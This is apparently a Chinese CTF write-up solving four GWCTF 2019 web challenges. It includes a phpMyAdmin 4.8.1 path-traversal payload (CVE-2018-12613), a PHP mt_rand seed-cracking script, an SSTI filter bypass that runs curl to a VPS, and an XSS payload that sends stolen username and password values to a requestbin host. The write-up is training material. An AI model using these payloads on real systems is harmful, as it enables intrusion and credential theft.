去年安恒决赛,同时还进行着GWCT,当时没做,现在复现复现💩
[GWCTF 2019]我有一个数据库 考察[CVE-2018-12613]-PhpMyadmin后台文件包含漏洞,参考这里 。
解题 扫后台发现robots.txt
和phpmyadmin
两个页,进入phpmyadmin
发现版本是4.8.1
的,上面说到的漏洞刚好支持的是4.8.0
和4.8.1
,因此拿payload尝试一下,发现直接能打通:
index.php?target=db_sql.php%253 f/../ ../../ ../../ ../../ ../etc/ passwd
那么再构造payload拿flag就行了:
index.php/?target=db_sql.php%253f/ ../../ ../../ ../../ ../../ etc/passwd
[GWCTF 2019]枯燥的抽奖 考察php伪随机的漏洞:如果mt_srand()
使用同一个seed
,生成的随机数是可以爆破出seed
的。
题目分析 查看源码:
$("#div1" ).load("check.php #p1" ); $(".close" ).click(function ( ) { $("#myAlert" ).hide(); });
可以看到,存在check.php
,访问该页面可以拿到如下源码:
<?php header("Content-Type: text/html;charset=utf-8" ); session_start(); if (!isset ($_SESSION['seed' ])){$_SESSION['seed' ]=rand(0 ,999999999 ); } mt_srand($_SESSION['seed' ]); $str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" ; $str='' ; $len1=20 ; for ( $i = 0 ; $i < $len1; $i++ ){ $str.=substr($str_long1, mt_rand(0 , strlen($str_long1) - 1 ), 1 ); } $str_show = substr($str, 0 , 10 ); echo "<p id='p1'>" .$str_show."</p>" ;if (isset ($_POST['num' ])){ if ($_POST['num' ]===$str){x echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>" ; } else { echo "<p id=flag>没抽中哦,再试试吧</p>" ; } } show_source("check.php" );
可以看到,存在mt_srand()
,mt_rand()
两个函数,并且session
是用的随机数设置的,那么先将伪随机数转化为php_mt_seed
可识别的数据:
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' str2='VJozuuy4YQ' str3 = str1[::-1 ] length = len(str2) res='' for i in range(len(str2)): for j in range(len(str1)): if str2[i] == str1[j]: res+=str(j)+' ' +str(j)+' ' +'0' +' ' +str(len(str1)-1 )+' ' break print (res)
然后用php_mt_seed
爆破伪随机数:
然后利用题目源码,构造POC:
<?php mt_srand(980044562 ); $str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" ; $str='' ; $len1=20 ; for ( $i = 0 ; $i < $len1; $i++ ){ $str.=substr($str_long1, mt_rand(0 , strlen($str_long1) - 1 ), 1 ); } echo $str;?>
把结果输入即可拿到flag
[GWCTF 2019]你的名字 考察flask的SSTI
,以及利用curl
反弹shell
题目分析 进入题目是一个输入框,很容易想到是sql注入,但是试了好一会儿没有效果,抓包看返回头可以得知是python的后端,因此认定是SSTI。
用2
进行测试时报错,猜想是双括号被ban了,后来用{}
与%
组合的方式可以,但是还有很多关键词被ban了,参考到一位师傅的题解,发现他认为后端的过滤是这么写的:(应该是FUZZ出来的吧)
blacklist = ['import' , 'getattr' , 'os' , 'class' , 'subclasses' , 'mro' , 'request' , 'args' , 'eval' , 'if' , 'for' , ' subprocess' , 'file' , 'open' , 'popen' , 'builtins' , 'compile' , 'execfile' , 'from_pyfile' , 'local' , 'self' , 'item' , 'getitem' , 'getattribute' , 'func_globals' , 'config' ] for no in blacklist: while True : if no in s: s = s.replace(no, '' ) else : break return s
这种过滤,利用黑名单中最后一个词进行混淆来过滤是最好了,即if=>iconfigf
,因为是用黑名单的关键词按顺序来对输入进行替换的,那么最后一个config
被替换之后,过滤也就结束了。
同时还要利用VPS来接收结果,在BUU中开了一台内网靶机,构造最终payload如下:
#获取文件名 {% iconfigf ''.__claconfigss__ .__mconfigro__ [2 ].__subclaconfigsses__() [59 ] .__init__ . func_glconfigobals.lineconfigcache.oconfigs.popconfigen('curl http:
#拿flag {% iconfigf ''.__claconfigss__ .__mconfigro__ [2 ].__subclasconfigses__() [59 ] .__init__ . func_glconfigobals.linecconfigache.oconfigs.popconfigen('curl http:
成功打出flag:
[GWCTF 2019]mypassword 考察XSS
题目分析 注册并登录之后,在feedback
页面看到了一个大大的输入框,查看源码如下:
if (is_array($feedback)){ echo "<script>alert('反馈不合法');</script>" ; return false ; } $blacklist =['_' ,'\'' ,'&' ,'\\' ,'#' ,'%' ,'input' ,'script' ,'iframe' ,'host' ,'onload' ,'onerror' ,'srcdoc' ,'location' ,'svg' ,'form' ,'img' ,'src' ,'getElement' ,'document' ,'cookie' ]; foreach ($blacklist as $val) { while (true ){ if (stripos($feedback,$val) !== false ){ $feedback = str_ireplace($val,"" ,$feedback); } else { break ; } } }
通过观察黑名单中的内容,又是一个大大的输入框,指定是XSS
了,参考别的师傅的题解讲到本题存在CSP
,不能注入外部的JS,那肯定就需要在内部JS上动手脚,逐个页面看源码,结果在登陆页面看到存在login.js
,源码如下:
if (document .cookie && document .cookie != '' ) { var cookies = document .cookie.split('; ' ); var cookie = {}; for (var i = 0 ; i < cookies.length; i++) { var arr = cookies[i].split('=' ); var key = arr[0 ]; cookie[key] = arr[1 ]; } if (typeof (cookie['user' ]) != "undefined" && typeof (cookie['psw' ]) != "undefined" ){ document .getElementsByName("username" )[0 ].value = cookie['user' ]; document .getElementsByName("password" )[0 ].value = cookie['psw' ]; } }
这里记住密码功能会从Cookie
中取出用户名和密码并赋值给username
和password
,因此我们可以利用这个内部JS来构造payload进行XSS,这里我们可以用BUU的requestbin 来接受反馈。
在feedback
页面构造如下payload提交:
<inpcookieut type="text" name="username" ></inpcookieut> <inpcookieut type="text" name="password"></i npcookieut><scricookiept scookierc="./js/login.js" ></scricookiept> <scricookiept> var uname = documcookieent.getElemcookieentsByName("username")[0].value; var passwd = documcookieent.getElemcookieentsByName("password")[0].value; var res = uname + " " + passwd; documcookieent.locacookietion="http:/ /http.requestbin.buuoj.cn/ ?a="+res; </scricookiept>
等一段时间之后,即可在requestbin看到回显: